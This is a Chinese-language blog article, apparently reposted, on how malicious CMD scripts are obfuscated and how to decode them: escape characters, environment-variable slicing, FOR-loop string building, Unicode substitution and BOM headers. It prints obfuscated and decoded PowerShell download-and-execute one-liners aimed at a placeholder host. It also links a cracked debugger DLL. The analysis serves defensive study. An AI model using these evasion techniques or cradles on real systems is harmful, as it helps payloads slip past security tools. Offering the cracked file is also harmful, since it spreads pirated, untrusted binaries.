自学内容网 自学内容网

脚本命令类恶意代码——CMD混淆脚本分析方法

CMD脚本命令有很多不同的名称,例如BAT脚本、批处理脚本、DOS命令等。这些术语通常都指的是同一种类型的脚本命令,在本篇统一叫CMD命令。

由于CMD命令受限于语法功能,攻击者一般只会将CMD命令作为Downloader存在,常见于网络钓鱼宏文档启用宏后拼接出CMD命令配合Powershell命令下载执行其他恶意文件。

CMD命令混淆方式

字符混淆

大小写混淆

windows系统文件、文件夹以及cmd命令等是对大小写不敏感的,因此无论命令输入的命令大小写如何,系统都会将其视为相同的对象。这里不进行过多介绍。

符号混淆

转义字符

转义字符^,一般是用来表示特殊字符,使其不被解释为原始含义。由于^字符只会转义特殊字符,不影响其他命令正常执行,因此恶意命令会加入"^"字符作为混淆。

双引号

双引号最初的目的是作为界定符,允许字符串中包含空格或其他特殊字符。然而,在混淆代码中,双引号也可以被巧妙地插入命令中,以改变命令的解析方式或混淆代码的含义。

圆括号

用圆括号"()"包裹的命令会被认为是一个整体,不影响命令执行。

逗号和分号

","和";"在使用中可以互换,可以取代命令行中的空格,不影响命令执行。

逻辑符号

"&" 符号用于连接多个命令,并使它们以顺序的方式执行。

"&&" 符号在命令行中用于连接多个命令,但它只有在前一个命令成功执行后才会执行后续的命令。

"||" 符号在命令行中用于创建条件性命令链。它用于在前一个命令失败时执行后续的命令。

管道符

"|" 符号用于将一个命令的输出作为另一个命令的输入。

Unicode字符混淆

字符替换

在Unicode字符集中存在许多字符的变体和修饰符,有时候命令行解析器可能会将它们识别为相似或等效的字符。其中间距修饰符(Spacing Modifier Letters)就包括"ʰ","ʲ","ʳ"字符。某些命令行解析器可能会将这些字符识别为类似的字母,并将它们转换回相应的字符,例如reg query命令将"ʳ"转换为"r",仍可正常执行。

字符插入

由于一些执行程序会忽略或过滤掉某些可打印字符,这可能使得在命令行中插入其他字符成为可能。例如windows事件管理工具wevtutil可以接受在随机位置插入某些范围内的 Unicode 字符的命令行,在将wevtutil gli hardwareevents命令中插入(ࢯ)字符后仍可正常执行。

注:此项在win11中测试无法正常执行

环境变量混淆

环境变量一般的应用场景是为了存储路径信息,让系统在指定目录中查找可执行文件。但在恶意命令中,环境变量的作用更多是为了存储字符串,通过环境变量与其他字符串拼接来达到混淆的目的。

设置临时环境变量

使用set命令设置临时环境变量格式:

set [<variable>=[<string>]]

其中<variable>是指定要设置或修改的环境变量;<string>是指定要与指定环境变量关联的字符串。

如果set命令不加任何参数,set将显示当前环境变量,在默认环境变量中,有一项%ComSpec%值得关注,它的默认值一般为C:\WINDOWS\system32\cmd.exe。

获取环境变量值

使用%VarName%获取环境变量值。

启动延迟环境变量扩展

通过set和%VarName%,可以构造出如下命令去执行whoami

cmd /c "set test=whoami && %test%"

但很多情况下,我们遇见的是这样的命令,使用的是!VarName!而不是%VarName%

cmd /v /c "set test=whoami && !test!"

这是因为cmd有一个启用延迟的环境变量扩展,使用的参数是/v或者/v:on,调用cmd加上这个参数后,!VarName!可以代替%VarName%。

截取环境变量值

自定义截取环境变量值操作格式:

%VarName:~offset[,length]%

其中VarName是用于获取该环境变量的值;offset为选择的偏移;length为长度可省略不写。

攻击者可以利用已有环境变量值中的字符或字符串拼接成想要的cmd命令,例如我们可以对%ComSpec%的值进行操作

可以拼接出set

%comspec:~11,1%%comspec:~-1%%comspec:~-13,1%

截取出cmd.exe

%comspec:~20,7%

%comspec:~-7%

以下是一个恶意命令利用截取环境变量的例子:

恶意命令中利用环境变量%ALLUSERSPROFILE:~4,1%截取字符串"r"和其余字符拼接成为powershell.exe

cmd.exe /c "Powe%ALLUSERSPROFILE:~4,1%Shell.exe IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1')"

For循环拼接混淆

命令用法

for循环命令格式如下:

FOR %variable IN (set) DO command [command-parameters]

其中%variable为指定一个单一字母可替换的参数;(set) 为指定一个或一组文件,command为指定对每个文件执行的命令;command-parameters为特定命令指定参数或命令行开关。(可通过for /?获取详细使用参数)

for默认不加扩展命令用法

依次打印输出0,1,7

for %i in (0,1,7) do @echo %i

for命令最常用的扩展命令是/L和/F

加上参数L后(set)含义变为按照步长在一定范围内的数值进行迭代。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

范围为1到10,步长为2,打印输出

for /L %i in (1,2,10) do @echo %i

参数F后用法最为复杂,以下列举两种用法

FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]

FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

读取C:\Windows\System32\drivers\etc\hosts文件逐行输出

for /F "usebackq delims==" %i in (C:\Windows\System32\drivers\etc\hosts) do @echo %i

获取环境变量名逐行输出

for /F "usebackq delims==" %i in (`set`) do @echo %i

利用内置命令获取字符串

除了set命令之外,CMD还有许多其他的内置命令可以用来获取固定信息,例如 %ComSpec% 等与系统基础设置相关的命令。其中包括查询文件扩展名关联的 assoc 命令和查询文件扩展名关联文件类型的 ftype 命令等。

为了绕过安全软件的检测,攻击者可能会使用通过系统内置命令拼接或截取字符串的方式,构造出包含二进制文件名(如powershell.exe、cmd.exe、rundll32.exe)的字符串。

以下是通过ftype获取rundll32.exe字符串的例子

cmd /v /c "for /f "tokens=4 delims=\ " %A in ('ftype InternetShortcut') do @set "result=%A" & echo !result:"=!"

这里首先看指定的内容'ftype InternetShortcut',通过ftype命令获取InternetShortcut的值

InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l

参数"tokens=4 delims=\ "负责对'\'进行分割,取第4列数据,可以获取到'rundll32.exe"'字符串,再使用!result:"=!将双引号去除即可得到rundll32.exe字符串

带BOM头的CMD脚本

BOM是一个特殊的字节序列,用于标识文本文件的编码方式和字节顺序。对于UTF-8编码的文本文件,如果添加了BOM头,那么在某些编辑器或工具中打开文件时,可能会显示乱码。

CMD通常不会受到 BOM 头的影响,因为它默认将文件视为ANSI编码。所以,即使文件中包含BOM头,CMD仍然可以正常解释和执行脚本内容。

如果在分析CMD恶意脚本时打开文件只看到一堆乱码,但脚本仍然可以正常运行,那很有可能是因为脚本文件被添加了BOM头。

SHA1: a40e120484970ac24a2a7f2852f9da0254fa3538

对于这种情况,我们可以使用16进制编辑器打开文件,注意前两个字节"FFFE"

将"FFFE"去除后,再使用文本编辑器打开,即可正常显示命令。

实例

被混淆的命令

cmd.exe /C "cm^d^.^e^x^e /V^ ^/C s^et g^c^=^er^s^&^&s^e^t ^tf=^he^ll^&^&set^ f^a^=^pow^&^&^s^et^ dq^=W^i^n^do^ws^!fa^!^!g^c^!!^t^f^!\^v^1^.0\^!^fa!^!^gc!!^tf^!^&^&^ech^o^ iE^X^(^^"iex(neW-OBjecT nEt.webCLiEnt).dowNlOaDstrING('http://127.0.0.1')^"^)^;^ ^|^ !dq! -^no^p^ ^-^w^i^n^ ^1^ ^-"

该条命令使用了大小写混淆、转义字符混淆、环境变量混淆、for循环混淆,虽然用的混淆方式不少,但其实也也是一个比较基础且容易还原的混淆。

去混淆后的命令

cmd.exe /C "cmd.exe /V /C echo IEX("IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1')"); | windowspowershell\v1.0\powershell -nop -win 1 -"

动态调试

调试 .bat 和 .cmd 文件的 IDE:https://jpsoft.com/products/cmdebug.html

CMDebug Cracked dll

📎CRACK.zip

参考

https://www.mandiant.com/resources/blog/dosfuscation-exploring-obfuscation-and-detection-techniques

Windows Command-Line Obfuscation


原文地址:https://blog.csdn.net/weixin_44001905/article/details/142589031

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!